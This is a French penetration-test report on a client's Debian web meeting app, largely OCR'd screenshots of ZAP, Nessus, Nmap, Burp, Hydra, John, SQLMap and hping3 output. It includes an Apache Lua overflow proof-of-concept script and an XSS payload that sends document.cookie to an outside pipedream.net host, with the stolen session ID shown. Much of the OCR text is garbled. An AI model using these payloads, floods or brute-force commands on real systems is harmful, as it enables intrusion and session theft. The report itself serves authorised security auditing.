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Introduction

Lors de la semaine du Mardi 2 au Vendredi 5 Avril 2024, notre équipe a eu pour mission de
mener un audit de sécurité sur le systeme d’information de son client, un service consistant
en un systéme Linux Debian 11 hébergeant un serveur Web. Apres une phase de rencontre,
de recueil de besoins et de négociations avec notre client, un contrat fit signé par les deux
parties, et un planning établi afin de fixer un prix a notre prestation.

Nous nous sommes cette semaine attelés a étudier ce systeme d’information afin d’y
déceler un maximum de failles de sécurité, de maniére a étre en capacité aujourd’hui de
vous livrer cet écrit synthétisant le déroulement de notre mission, reprenant les tests qui ont
été menés, les résultats qui ont été obtenus ainsi que nos recommandations concernant les
mécanismes de sécurité a mettre en place sur votre infrastructure afin de pallier aux failles
de sécurité qui nous avons découvertes lors de notre audit.

Nous avons mené notre mission en suivant une organisation classique : nous avons débuté
notre travail par une phase de reconnaissance, en tentant de recueillir un maximum
d’informations sur le systéme sur lequel nous allions devoir attaquer. Nous avons ensuite
mené a bien différents tests a I'aide des informations recueillies lors de la phase de
reconnaissance, ceci dans I'optique de tester la robustesse du systeme ainsi que sa
résistance a différents types d’attaques courantes. Par la suite, nous avons tenté d’exploiter
les failles découvertes afin d’étre en capacité de vous communiquer la portée et
I'importance des failles de sécurité découvertes sur vos systemes. Enfin, nous avons terminé
notre mission avec une petite phase « bilan » durant laquelle nous avons essayé de réfléchir
aux mécanismes que vous pourrez mettre en place sur vos services qui corrigeront ou au
moins limiteront les risques liés aux failles de sécurité découvertes lors de cet audit.



Phase de reconnaissance

- ZAP

Nous avons débuté notre phase de récolte d’'informations sur le systéeme en utilisant OWASP
ZAP (Zed Attack Proxy). Cet outil nous a permis d’obtenir une liste de potentielles
vulnérabilités du systeme ainsi que I'arborescence probablement presque exhaustive des
services installés sur le systéme étudié par l'outil. Pour parvenir a cela, ZAP a utilisé un
dictionnaire et a testé différentes requétes HTTP sur le systéeme. Ci joint, les résultats de ZAP
guant a la liste des vulnérabilités potentielles identifiées et I'arborescence hébergée.

Mode standard ~ [ ] [ & BRI IR = = Sl = =R al=E A ¥ @ ve | em
® + NES. S T RN
@ OEE= This screen allows you to launch an automated scan against an application - just enter its URL below and press "Attack’.
= Contextes Soyez s'il vous plait conscient que vous ne devez attaquer que les applications pour lesquelles vous avez expressément recu la permission de
[@] Contexte par défaut tester.
@ Sites
U URL a attaquer : https://100.74.7.99/ v | @ Sélectionner...
|0 §# controleur Utiliser I'araignée traditionnelle : (V]
U % GET:robots.txt .
i w K Utiliser I'araignée Ajax : avec  Firefox Headless
| FU # GET:sitemap.xml
[0 4% vue 4 Attaquer Arrét
Progression: Attaque terminée - voir I'onglet d'Alertes pour plus de détails sur tous les problémes trouvés

E & Ry % 3 +

@8 7 ¥ Tous les détails des alertes sélectionnées seront affichés ici.
L= Alertes (11) Vous pouvez ajouter des alertes manuellement par clic droit sur la ligne concernée dans ['historique et en choisissant « Ajouter une alerte ».
| Absence de Jetons Anti-CSRF (3)
|4 Content Security Policy (CSP) Header Not Set (9) Vous pouvez également modifier les alertes en double-cliquant dessus.

|4 Missing Anti-clickjacking Header (7)

-4 Cookie No HttpOnly Flag

|1l Cookie Without Secure Flag

|~ Cookie without SameSite Attribute

|-l Server Leaks Version Information via "Server" HTTP Res
|- Strict-Transport-Security Header Not Set (10)

|-l X-Content-Type-Options Header Missing (8)

|FY Re-examine Cache-control Directives (3)

|l Session Management Response Identified (6)

Alertes [0 [U3 |16 [W2 Main Proxy: localhost:8080 Scansencours &0 ®0 20 @0 0 450 #0 0

file [ options | About  Help
hitp:1/100.74.7.99:80/
© Scan information | Resuts - st View: Dirs: 20 Files: 71" Results -Tree View ) A\ Errors: 0 |
Directory Stucture Response Cods Response Size
] 200 546
=& controlaur 200 601
0 accuel.php 200 1290
[ inscripion.php 200 3304
[ gererMasventos.php 02 3a3
0 login.php 200 133
[ resetMdp.php 200 a0s
=G phpmyadmin 200 1504
50 sa 103 425
0 s.php. 200 1504
a) 103 125
203 doc 03 425
03 thames 103 a2
[ themes.php 200 1504
0 tieansa.php 200 1504
5 03 templates 203 sas
[ export pho 200 1504
0 sjaxphp 200 1504
) indexphp 200 sa




File | Options About Help

Target URL (eg http:/fexample.com:80/)
|http:/100.74.7.99:80/

Work Method () Use GET requests only () Aute Switch (HEAD and GET)
Mumber Of Threads ¢ {7} B0 Threads [ | Go Faster
Select scanning type: (%) List based brute force () Pure Brute Force

File with list of dirs/files

Jjusrfsharejwordlists/SecLists/Discovery/DNS/subdomains-toplmillion-20000.txt | |Q,, Browse | | @ List Info

Char set |.1-:—-:---.-“ 20-_ '| Min length Max Length

Select starting options: (3) Standard start peint () URL Fuzz

Brute Force Dirs Be Recursive Dir to start with |f

Brute Force Files []Use Blank Extension  File extension |php‘ txt, json, php|

URL to fuz - ftest.html?url={dir}.asp

[ Elext | | > start

Please complete the test details

- NESSUS

Afin d’approfondir nos analyses sur le serveur, nous avons décidé d’utiliser 'outil Nessus.
Celui-ci nous a permis d’analyser plus en profondeur les failles exploitables.

Avec 'aide de cet outil nous avons pu ressortir différentes failles avec différents degrés
d’exploitation et une description sur celles-ci.

Voici les failles analysées :

Configure Audit Trail Laurnch =

Vulnerabilities 26
Filter «

Nam... Family & Host Details

srvers

Tenable News

Frequently Asked
Questions About
CVE-2024-3094, A ...




Cet outil permettait de trier les failles exploitables par degré de risques ce qui nous permet
par la suite de diriger nos attaques sur certains points plus exploitables que d’autres.

Voici ci-dessous une description de la faille la plus importante du serveur. Il en existe trois
importantes et sont assez récentes. Elles sont exploitables sur les versions d’Apache 2.4.x a
2.4.58.

Apache 2.4.x 4.58 Multiple Vulnerabilities

Tenable News output

LG LED Assistant
V2165 multipla
Vulnerabilities

Toutes ces attaques sont répertoriés par des CVE, dans notre cas :

CVE-2023-31122

CVE-2023-43622

CVE-2023-45802
Ces CVE, appelées aussi Common Vulnerabilities and Exposures sont des identifiants uniques
attribués a des failles de sécurité spécifiques dans les logiciels et les systémes informatiques.
Les CVE sont utilisés pour référencer et suivre les vulnérabilités.
De notre cO6té nous avons tenté une attaque par Buffer Overflow qui est réguliére sur les

versions d’Apache 2.4.x.

Voici le fichier qui aurait pu étre utilisé pour cette attaque :

import requests

#Example "http(s)://<hostname>/process.lua"

url = "http(s)://<hostname>/<luafile>"

payload = "4\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nO\r\n4\r\n"



headers =

'Content-Type': 'multipart/form-data; boundary=4'

#Notel: The value for boundary=4, in the above example, is arbitrary. It can be anything else like 1.

# But this has to match with the values in Payload.

#Note2: The form data as shown above returns the response as "memory allocation error: block too big".

# But one can change the payload to name=\"name\"\r\n\r\n\r\n4\r\n" and not get the error but on the lua
module overflows

# 3 more bytes during memset

response = requests.request("POST", url, headers=headers, data=payload
print(response.text

#Response returned is

#<h3>Error!</h3>

#<pre>memory allocation error: block too big</pre>

Or, lors de notre analyse sur le serveur du client nous avons remarqué qu’aucun fichier « .lua
» n’était présent. Ce qui implique que cette faille n’est pas exploitable.

< 9 [J € Non sécurisé | https://100.74.7.99

@ ARCHE m LNA W ENT . ChatGPT | OpenAl & Apache Guacamole O GitHub Porta

Not Found

The requested URL was not found on this server.

Apache/2.4.56 (Debian) Server at 100.74.7.99 Port 443

Afin de remédier a ces failles nous vous invitons a vous reporter a la page des
recommandations pour plus d’informations.



- Sur le serveur

Par la suite, nous avons utilisé 'outil Nmap de maniere a scanner le systeme et ses ports
ouverts. Grace a cela, nous avons identifié les ports ouverts (22, 80, 443, 3306), leurs
services associés (ssh, http, https, mysql), leur états et les méthodes d’authentification ssh
acceptées (password et clés).

— |- ~/Documents/arsenal

— do -0 18@.74.7.99

Starting Nmap 7.945VN ( https://nmap.org ) at 2024-04-83 07:13 EDT

Nmap scan report for 10@.74.7.99

Host 1s up (®.828s latency).

Not shown: 996 closed tcp ports (reset)

FORT STATE SERVICE

22/tcp open ssh

8a/tcp open http

443/tcp open https

3306/tcp open mysgl

Mo exact 05 matches for host (If you know what 05 is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

0S:SCAN(V=7 .04SVNRE=4%D=4/3%0T=22%CT=1%CU=44685%PV=N¥DS=4%DC=I%G=Y%TM=66003
0S:9F8%P=x86_64-pc-1inux-gnu)SEQ(SP=101%GCD=1%ISR=106%TI=Z%TS=A)SEQ(SP=103%
0S:GCD=1%ISR=10A%TI=Z%TS=A)SEQ(SP=106%GCD=1%ISR=10C%TI=7%TS=A)SEQ( SP=106%GC
0S:D=1%ISR=10D%TI=Z%TS=A)SEQ{SP=108%GCD=1%ISR=10D%TI=7%TS=A)0PS(01=M51BST11
OS5 NW7RO2=M51BST1INW/X03=M51BNNT1INW7R04=M5045T1INW/205=M51BST11NW7%06=M21E
0S:ST11 WIN(W1=FESB%¥W2=FES8%W3=FE88%W4=FESB%W5=FE88%WE6=FES8 )ECN(R=Y%DF=Y%T=
0S: 40%W=FAF@%X0=M51BNNSNW7HCC=Y%0=)T1(R=YRDF=Y%T=40%5=0%A=S+%F=ASXRD=0%0=)T2
0S:{R=NIT3(R=N)T&4(R=N)TS({R=YXDF=Y%T =4 0%W=0%S=0%A=S+%F=AR%0=%RD=0%0Q=)T6(R=N)
0S:T7(R=N)UL({R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G¥RUCK=G%RUD=G)I
0S:E(R=N)

Network Distance: 4 hops

05 detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 13.26 seconds

— )-[~/Documents/arsenal]
L ) -sC -sV 108.74.7.99
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-@3 @7:11 EDT
Nmap scan report for 10@.74.7.99
Host is up (0.028s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4pl1 Debian 5+¢debllul (protocol 2.0)
| ssh-hostkey:
3072 06:al:@f:07:8f:37:21:39:56:48:75:9a:b2:cd:7a:91 (RSA)
256 55:74:8b:f4:da:58:1c:@3:93:9d:81:92:d2:e5:8b:71 (ECDSA)
_ 256 b7:7e:0d:2a:8a:00:19:a4:ff:2d:70:8b:c8:af:7a:34 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
_http-title: Redirection en cours ...
_http-server-header: Apache/2.4.56 (Debian)
443/tcp open ssl/http Apache httpd 2.4.56 ((Debian))
_ssl-date: TLS randomness does not represent time
_http-server-header: Apache/2.4.56 (Debian)
_http-title: Redirection en cours ...
tls-alpn:
http/1.1
ssl-cert: Subject: commonName=UnivMeet/organizationName=UnivMeet/stateOrProvinceName=Metz/countryName=FR
Not valid before: 2024-91-16T12:15:29
_Not valid after: 2025-01-15T12:15:29
3306/tcp open mysgl MysSQL 5.5.5-10.5.21-MariaDB-@+debllul
mysgl-info:
Protocol: 1@
Version: 5.5.5-10.5.21-MariaDB-0+debllul
Thread ID: 46
Capabilities flags: 63486
Some Capabilities: Support4lAuth, SupportslLoadDatalocal, ConnectWithDatabase, LongColumnFlag, IgnoreSpaceBeforeParenthesis
, DontAllowDatabaseTableColumn, InteractiveClient, ODBCClient, Speaks&4lProtocolNew, Speaks&4lProtocolOld, FoundRows, SupportsTr
ansactions, IgnoreSigpipes, SupportsCompression, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
Status: Autocommit
Salt: :veuA#)DYrT.(zTse~1#
Auth Plugin Mame: mysgl_native_password
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.11 seconds




nmap.org ) at 2 -04-03 07:18 EDT

Nmap scan report

Host is up (@.0 latenc 2

Not shown: 996 [ d tcp ports (conn-refused)
CE W ON

ice Info: 0S:

Service detection performed. Please report any incorr lts at tps://nmap.org/submit/ .
Nmap done: 1 IP ( ] scanned in 13

- Sur l'application

Suite a cela, il nous semblait essentiel de comprendre comment fonctionnait I'application,
guels étaient ses mécanismes, ce qu’elle attendait de 'utilisateur, quels étaient les différents
cas d’utilisation possibles.

L'application est une sorte de gestionnaire collectif de réunion. Lapplication étant destinée a
un usage privé, il faut que votre adresse mail soit dans la base de données de I'application
pour que nous puissions nous inscrire. On se connecte avec son adresse mail et un mot de
passe constitué d’au moins 8 caractéres avec d’autres contraintes (mot de passe fort). Des
contraintes sont aussi en place au renseignement de I'adresse mail sur le formulaire
d’inscription, sécurisant les saisies utilisateurs. Une fonctionnalité permet a un utilisateur de
réinitialiser son mot de passe en renseignant son adresse mail et en vérifiant si elle
appartient bien a la base de données.

© SAE2.01 - Accueil x o+

(¢] £\ Non séeurisé  100.74.7.99/controleur/accueil.php

UnivMeet Se connecter Sinscrire

Managez vos réunions

Grace a cette application, les problémes d'organisation de veos réunions
deviendront du passé. Rejoignez-nous et organisez vos réunions de maniére &
satisfaire toutes vos convives.

U n iVMeet Vous n'avez pas le droit de vous inscrire.
Inscription

Nom :
Connexion
Identifiant
] Prénom :
Mot de passe
Email :

Mot de passe oublié

Se connecter
Mot de passe :

Mail ou mot de passe incorrect



- Analyse requétes HTTP avec Burp Proxy

Nous avons terminé cette phase de reconnaissance en interceptant les requétes HTTP qui
étaient faites au serveur lors des clics sur les boutons de connexion et d'inscription. Ce qui
nous a permis d’identifier les données qui étaient envoyées au serveur ainsi que le nom des
champs utilisés. Ceci pourra s’avérer utile lors de la phase de tests et d’exploitation, dans le
cas d’attaques XSS ou d'injections SQL par exemple. Pour ce faire nous avons utilisé l'outil
Proxy de Burp Suite, disponible sur I'environnement Kali Linux.

Burp  Project Intruder Repeater View Help Burp Suite Community Edition v2024.1.1.5 - Tempaorary Project
Dashboard Target Intruder Prox Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn

HTTP history ‘WebSockets history @ Proxy settings

2P Request to hitp:/100.74.7.9%:80

Forward Drop Intercept is an Adtion Open browser

POST /eontroleur/inscription.php HTTR/1.1

Host: 100.74.7.59

Content-Length: 183

Cache-Control: max-age=0

Upgrade-Insecurs-Requests: 1

Origin: http://100.74.7.99

Content-Type: application/x-www-form-urlencoded

o User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit/537.3¢ (KHTML, like Gecko) Chrome/123.0.0.0 Safari/$37.38
S Accept: text/html,application/xhtmltxnl,application/xml;gq=0.9,image/avif,inage/vebp,image/apng, */*;q=0.8,application/signed-exchange;v=h3;q=0.7
10 Referer: http://100.74.7.99/controleur/inscription. php

1 Accept-Encoding: gzip, deflate, br

Accept-Language: fr-FR, fr;q=0.9,en-US;q=0.0,en;q=0.7,pliq=0.6

Cockie: PHPSESSID=7rtoutfSicdeslrfggilghaenit

Commection: close

¢ nom=MARTINSprenom=Maximeiemail=martin.naxinelt40gmail. comémdp=p$4055worOimdp confirm=pt4055worlsquestion securitesqueltestitontaninaltdetcompagniett3Fireponse securite=Jean-Christophe|

Ed Bup  Projedt Intruder Repeater View Help Burp Suite Community Edition v2024.1.1.5 - Temporary Project
Dashboard Target Intruder Prox Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn

HTTP history WebSockets history @ Proxy settings

y Request to hitp://100.74.7.99:30
Forward Drop Intercept is on Action Open browser

Raw Hex

1 POST feontroleur/login.php HTTE/L.1

Host: 100.74.7.99

Content-Length: 17

Cache-Control: max-age=0

Upgrade-Tnsecure-Requests: 1

Origin: hetp://100.74.7.59

Content-Type: application/x-wiw-form-urlencoded

7 User-Agent: Mozilla/5 0 (Windows NT 10 0; Wing4; x64) AppleWebKit/537_ 36 (KHTML, like Gecko) Chrome/173 . 0.0.0 Safari/537 36
5 Accept: text/html,application/xhtmltzml,applicacion/xml;q=0.9,inage/avif,inage/webp,inage/apng,*/*;q=0.8, application/signed-exchange;v=h3;q=0.7
10 Referer: http://100.74.7.89/controleur/login. php

Accept-Encoding: geip, deflats, br

Accept-Language: fr-FR,fr;q=0.5,en-US;q=0.8,en,;q=0.7,pl;q=0.8

Cockie: PHPSESSID=7TrtBucficdeflrfggilgbgenit

Connectcion: close

1¢ mail=testimdp=aaa

10



Phase de tests

- Brute force ssh

Au départ, le test de pénétration devait se dérouler en boite noire. Alors nous avons essayé
d’obtenir le mot de passe de l'utilisateur debianl a l'aide d’un test brute force en utilisant le
dictionnaire rockyou.txt et I'outil Hydra sur Kali Linux. Ce test n’a pas été concluant car au
bout de 1h et de plus de 10.000 identifiants testés, le mot de passe n’a pas été trouvé par
Hydra dans le dictionnaire.

min,
min,
min,
min,
min,
min, 61
min,

- Brute force phpmyadmin

to do in

Phpmyadmin utilise un systeme de token a chaque essai de connexion, alors nous avons
utilisé Burp Suite proxy et Intruder pour tenter de brute force le mot de passe root du SGBD
hébergé sur le systeme de notre client. Le dictionnaire utilisé n’a pas pu étre rockyou car
trop volumineux, quoi qu’il en soit, le mot de passe n’a pas été trouvé.

4 2. Intruder attack of http://100.74.7.99

Attack  Save
4  2.Intruder attack of http://100.74.7.99
Results Positions Payloads Resourcepool  Settings
 Filter: Showingallitems
Requ... ~ Payload1 Payload2 Payload3
0
1 admin
2 ikaromcuf07mjse50mlrOcgiar ikaromcuf07mjseSOmlrOcBiar password
3 4602rbt8oi373h20fsgfdubdej 4602rbtBoi373h2ofsgfdubdej root
4 ucshruib41cq41jk99mnorrémp ucshruibd1cg41jko9mnorrémp phpmyadmin
5 7 9lqg84Im... login
6 gn044q i0aj7pgan... gnod4q i0aj7pqgn... letmein
7 lels7frpmuf2b hbjej  lels7frpmuf2b access
8 9a3h6stoshl6outaldfgfs2thj  9a3hestoghlboutaldfafsathj  secret
9 io0coks88sdk0v2oh0taB5facy io0cokseBsdkov2ohOta6sfacy welcome
10 6a9gis6ebpajto57e0asTprovg 6adgisbebpajto5TeDasTprovg admini23
n 3eqf03602jg8a45i196agt4g9e 3eqf036gajgBadsil9tagtdgoe pass
12 bjrcelj7mnjffuh7uala23cltg  bjrcelj7mnjffuh7uald23cltq 12345
13 9gs3nb7vqqkmogk7qu0gis7... 9gs3nb7vggkmogk7quogie7... 1234
14 glefqbOla gbOla test
15 diccossmhe2... kf diccosmhe2... demo
16 um3ujrm97t4k6790tpnpfbBrun um3ujm97t4k67%tpnpfbBrun guest
17 fa4figj3pstr: ud282 fa4flgtj3pstr 4282 ad
18 b6khj0734cOh6vu3mSrafmr... b6khj0734cSh6vudmSrafmr... adminadmin
19 punol2mdbjSidi 7 punol2mdbjoidt admindemo
20 i 2gra041pj48 i gra041pj48 rootpass
2 imrc thrihfgers  imrc rhrihfgers  password123
2 da2digahunhlimba2dfe763i... d42d|B4hunhlimba2dfe76ai... qwerty
23 hrenpgh1l49u60mimodfolb... hrenpghll49us0mimodfoob... abc123
) AnimerinbannifibBanmInlril  2mimaninbannifil@anndalrit 173she

Payload4

57493359382d4.c4e2b595d.

717d24792150737c¢4679594..
567f222522235a402952772...
32216e522a52216d262d516...

3058503a602d7f6e6c686€6...
612c645e7b3e324730734b...

737c7a6e2e7726582d6a4f4.

4e7c7f457838772e7¢7d227...

6c4442672a64467c267174.

7a757e26372e5e585858647...

2b535740612a2304368612e.

5722412a486e6761676f7f7...

644921624 c6f686c365e775.

3f6d455b36286e397376433...
30432a233c2c55784e3445...
5b4d6c514b3225632b5d593...

48623c3532237178447058.

6f3663666e367a697056786...
284d5a4933407236782967...
552d62764770767336637d...
7b4e283f244765472827b7...
71275c2a3f4064617931784...

2hARROCRIACOARIIEEET 1k

Status code

200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200

ann

Respons... Error

103
233
86
76
76
78
9
80
83
88
78
85
179
81
83
84
75
95
95
84
108
75
89
87
o7

Timeout Length

17749
17748
17906
17905
17906
17905
17906
17905
17906
17905
17905
17906
17905
17905
17906
17905
17905
17906
17906
17906
17906
17906
17906
17906
17008

Attack v

Jphpmyadmin/irinset

vedodk7b5k7rbrsrrde
ikaromcuf07miseSo0..
4602rbt8oi373h2ofsg.

ucshruib41cqd1jkoom...

8kmgepkis19hpu3sig

Save v ®

php"><input type="hi
5b335944242135616.
57493359382d4c4e2.
717d24792150737c4€
567f22252a235a402¢
32216e522a52216d26
30! 2d7f6e6t

gno4d4q
lels7frpmuf2bS4toqgi

9a3h6sto8hlGoutaldfy...

io0cok588sdk0v2oh0t.

6a9gis6ebpajtos7e0a..

3eqf036gajg8a45i196

bjrcetj7mnjffuh7uald..

9gs3nb7vqgkmogk7qy.

nafglrnughliqug3tglef..

kfkpgj8nodntadiccos.
um3ujrn97t4ke79otp...
fa4flgtj3pStr3mapnm.

b6khj0734cOh6vu3mS...
puno12m4bjoidizies;.
2, »

ioaj..

612c645e7b3e32473.
737c7a6e2e7726582d
4e7c7f457838772e7c
6c4442672a644672
7a757e26372e5e585¢
2b535740612a30436
57224122486e676167
644921624 c6f686c36
3f6d455b36286e3973
30432a233c2¢55784.
5b4d6c514b3225632t
48623c35322371784.
6f3663666e367a6970
d! 2367

imrcjatjmslgitocrkrihf.

d42d|84hunhlimba2d..

hrenpgh1l49u60mim

552d6276477076733.
7b4e283f244765472.

71275c2a3f40646179
b 5046335

VBnNhfnishIERantalf

RFArAIEATRARERTRER
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- Brute force mysql

En utilisant le méme procédé que pour la tentative de brute force sur le service ssh du
systeme, nous avons essayé ce type d’attaque sur le service mysql car comme nous avons vu
lors de notre phase de reconnaissance que le port 3306 était ouvert.

Nous avons utilisé le dictionnaire rock you et l'outil Hydra de Kali Linux une nouvelle fois,
mais cela n’a toujours pas fonctionné. De plus, nous avons déclenché une erreur que nous
avons résolue avec la commande ‘mariadb-admin flush-hosts’.

- L root -P rockyou_utf8.txt 100.74.7.99 mysqgl
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal
and ethics anyway).

Hydra (http github.com/vanhauser-thc/thc-hydra) starting at 2024-04-04 05:36:38

[INFO] Reduced number of tasks to 4 (mysgl does not like many parallel connections)

[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344410 login tries (1:1/p:14344410), ~3586103 tries per task
[DATA] attacking mysq

[ERROR] Host '1 19. 15 i lock f many connection errors; unblock with 'mariadb-admin flush-hosts'
[ERROR] Host ' 9.170. i because of many connection errors; unblock with 'mariadb-admin flush-host

[ERROR] Host 9. 5 blocked because many connection errors; unblock with 'mariadb-admin flush-hosts'
[ERROR] Host - 5 blocked because of many connection errors; unblock with 'mariadb-admin flush-hosts'
[ERROR] Host ' 9.170. ' blocked because of many connection errors; unblock with 'mariadb-admin flush-host
[ERROR] Host ' .170. blocked because of many connection errors; unblock with 'mariadb-admin flush-hosts'
[ERROR] Host "172.19.170. is blocked because of many connection errors; unblock with 'mariadb-admin flush-hosts'
[ERROR] Host "1 19.1 blocked because of many connection errors; unblock with ‘mariadb-admin flush-hosts'
[ERROR] Host 9.170. blocked because many connection errors; unblock with 'mariadb-admin flush-hosts"
[ERROR] Host 5 15 is blocked a f many connection errors; unblock with 'mariadb-admin flush-hosts'
[ERROR] Host ' 9.170. ' blocked f many connection r unblock with 'mariadb-admin flush-h s'
[ERROR] Host 9.170.15 is blocked because of many connection rs; unblock with 'mariadb-admin flush-hosts’
[ERROR] Host "1 .170 is blocked because of many connection errors; unblock with 'mariadb-admin flush-hosts'
[ERROR] Host ' .170. ' blocked because of many connection errors; unblock with 'mariadb-admin flush-hosts"
[ERROR] Host 9. 5 blocked because of many connection errors; unblock with 'mariadb-admin flush-hosts'
[ERROR] Host "1 5 K is blocked because of many connection r unblock with 'mariadb-admin flush-hosts'
[ERROR] Host "1 9.170. blocked because of many connection rs; unblock with 'mariadb-admin flush-hosts'
[ERROR] Host 9. 5 blocked because of many connection errors; unblock with ‘'mariadb-admin flush-hosts'
[ERROR] Host .19.170. is blocked because of many connection errors; unblock with 'mariadb-admin flush-hosts'
[ERROR] Host ' 9.170. ' blocked because of many connection errors; unblock with 'mariadb-admin flush-hosts'
[ERROR] Host ' 9. 5 " is blocked because of many connection errors; unblock with 'mariadb-admin flush-hosts'
[ERROR] Host "172.19.170 is blocked because of many connection errors; unblock with 'mariadb-admin flush-hosts'

- John The Ripper

Afin de tester toute éventualité, nous avons par la suite décidé de simuler une attaque en
interne sur le serveur.

En outre, nous avons tenté un brute force afin de déchiffrer les mots de passes présents
dans le répertoire « /etc/shadow » du systéme mais apres plus de 5 heures de mise en route
celui-ci n’a pas fonctionné.

debianl@su $ git clone https://github.com/varunon$/Dictionary-Attack-Cyberoam
Clonage dans 'Dictionary-Attack-Cyberoam'...

remote: Enumerating objects: 58, done.

remote: Total 58 (delta @), reused @ (delta 8), pack-reused 58

Réception d'objets: 1@8% (58/58), 2.62 Mio | 18.28 Mio/s, fait.

Résolution des deltas: 18@% (2@/2e), fait.

debi 1s

u_testSAE.sql td3réseaux.pdf
$ cd Dictionary-Attack-Cyberoam/
1s
cracked.txt LICENSE.md main.js myspace.txt package.json pass56@.txt passwords_jhon.txt README.md rocky.txt testServer.js

Pour ce faire nous avons cloné un dép6t git avec un ensemble de dictionnaire dont «
rockyou.txt ».
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root@sujetl2:~# john ——wordlist=/home/debianl/Dictionary-Attack-Cyberoam/rocky.txt ——format=crypt /etc/shadow
Loaded 2 password hashes with 2 different salts (crypt, generic crypt(3) [?/64])
Warning: OpenMP is disabled; a non-OpenMP build may be faster

Press 'q' or Ctrl-C to abort, almost any other key for status
Og 0:20:00:09 @% @g/s 21.12p/s 42.24c/s 42.24C/s alyssa..brenda

Voici comment a pu étre lancée 'attaque, mais aprés 5 heures de fonctionnement aucun
résultat.

3/3 . 5 5 muffy5..mufus?
3/3 . y : mulann..050610
3/3 5 3 5 ante22..alijkk
3/3 5 : . abeni12..abue84
3/3 " . 5 lends..lexup
3/3 5 5 5 15395. .mylas
3/3 4 5 . jenies..jena@4
3/3 " . 5 jeaml5..jetell
3/3 5 5 5 jefel5..jefasa
3/3 . : : jhilie..jhivey
3/3 A . 5 salesed..shoners
3/3 4 . A melarl..mermoo
3/3 5 4 5 brixx3..bruzol
3/3 . 5 5 jhatot..jhikko
3/3 = 4 5 114487..101062
3/3 5 5 5 meggs5. .memoma
3/3 . 5 5 albodo..ashico
3/3 5 5 5 sampa..shm23
3/3 5 5 . beliell. .beacids
3/3 5 5 5 susane..sush@?7
3/3 5 4 5 jhuges..jh13e1
0:04:51: 3/3 . K 5 jijay2..jj2026
Session aborted
root@sujet12:~# JJ

OO0 000D ®

Cette attaque a surtout été réalisée afin de montrer a notre client que le danger peut aussi
provenir de I'intérieur du serveur et peut se montrer tout aussi dangereux que des attaques
externes.

Afin de remédier a ces failles nous vous invitons a vous reporter a la page des
recommandations pour plus d’informations
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Injection SQL avec SQLMap :

ontroleur/login.php

w1thout prior mutl consent is illegal. It is t end user's responsibilit
sponsible fe misuse or used by this pro

for links with depth 1
hing for links

b p
0 you want “to nnrmallze crawllng results [Y/n]

do you want to store crawling results to a temporary file for eventual further processing with other tools [y/N]

[ 1 [INFO] found

[1/3] Form

POST http://100.74.7.99/controleur/login.php
POST data: mail=&mdp=

do you want to test this form? [Y/n/q]

>

Edit POST data [default: mail=&mdp=] (Warning: blank fields detected)

do you want to fill blank fields with random values? [Y/n]

[ 110 1] using '/ho i re/sqlmap; r a .a;u]T; file in multiple targets mode
you have not declared :nnk)e(s}, wh11e server wants to

content is

il' is

p r il not ap

5] heur)st): (has):} test shuws that
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Phase d’exploitation

- DoS

Nous avons remarqué lors de notre phase de reconnaissance que le systéeme ne semblait pas
avoir été configuré pour bloquer les tentatives de brute force. Nous en avons conclu

gu’aucun systeme d’atténuation DNS ou de détection et de bannissement de botnets n’avait
été installé.

Il est ensuite simple d’utiliser Hping3 sur Kali afin de submerger les ports 80 et 443 de
paquets réseaux a vitesse maximum (hping3 —flood) : Le systéme est vulnérable aux
attaques Dos (Déni de Service).

~ 100.74.7.99

&€ > X O 10074799/

-"% N B X Jali

E File Actions Edit View Help File Actions Edit View Help

Hp
Ce site est inaccessible Enlng in flood

100.74.7.99 2

v @ 100747.99

Ce site est inaccessible

100.74.7.99 2

80N ¢#HES S G0 R oromE
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- Faille XSS

Création d’un formulaire vulnérable afin de voir si la XSS se refléte (XSS reflected) :

Inscription

MNom :

<scriptralert{)</script>

Prénom :
<script>alert{j</script>

Email :
root@root.root

Mot de passe :

Confirmer le mot de passe :

Question de sécurité :

roo t

Réponse i la question :

root

S'inscrire
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Le site est en effet vulnérable :

O @& o 1007

KaliTools = KaliDocs X Kali Forums e Ki

Telephony Wireless Toos Help
Q¢s>n«>»WEOS0E

Fle Edt View Go Captre Anaiyz
dD4Lde sRB@
Whio
No. Time protocol_Length nfo
Jirip " "5y POST scontroteur/login.php WITP/1.1 (applic

16 21.723161353_172.19.170.223
HITP/1.1 302 Found (text/html)
GET /controleur/gererMesEventos. php HTTP/1

=)+

100.74
17201 1
21 21.958814626 100.7: T 200 0K

(text/css

©10074.7.99

od
20 45 Ge 63 6f 64 69 6e 67 3a
Displayed: 6 (23.1%) Default

ive capture in progress:

O & 10074
Kali Linux * KaliDocs ¥ KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB
ROOTSF7R Se déconnecter

proposer

gerer

LIBELLE ORGANISATEUR tous v

File Edit Search Document Help

OEE x D O Q& n

ipt>document.location="//eolbub226a26g4t.m.pipedream.net?cookie="+document.cookie
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Rechargement de la page -> redirection effectué

4t.m.pipedream.n

Kali Linux §& Kali Tools <« KaliDocs M KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

Cookie intercepté sur le serveur distant :

F > RequestBin

DEPLOYMENTS SETTINGS

Today

HTTP GET /?cookie=PHPSESSID=e8sr0170fmi5T3vivigpge567m Success

Workflow executed in 1,661 ms.

» details

&y trigger

Exports

w steps.trigger {2}
» context {16}
wevent {6}
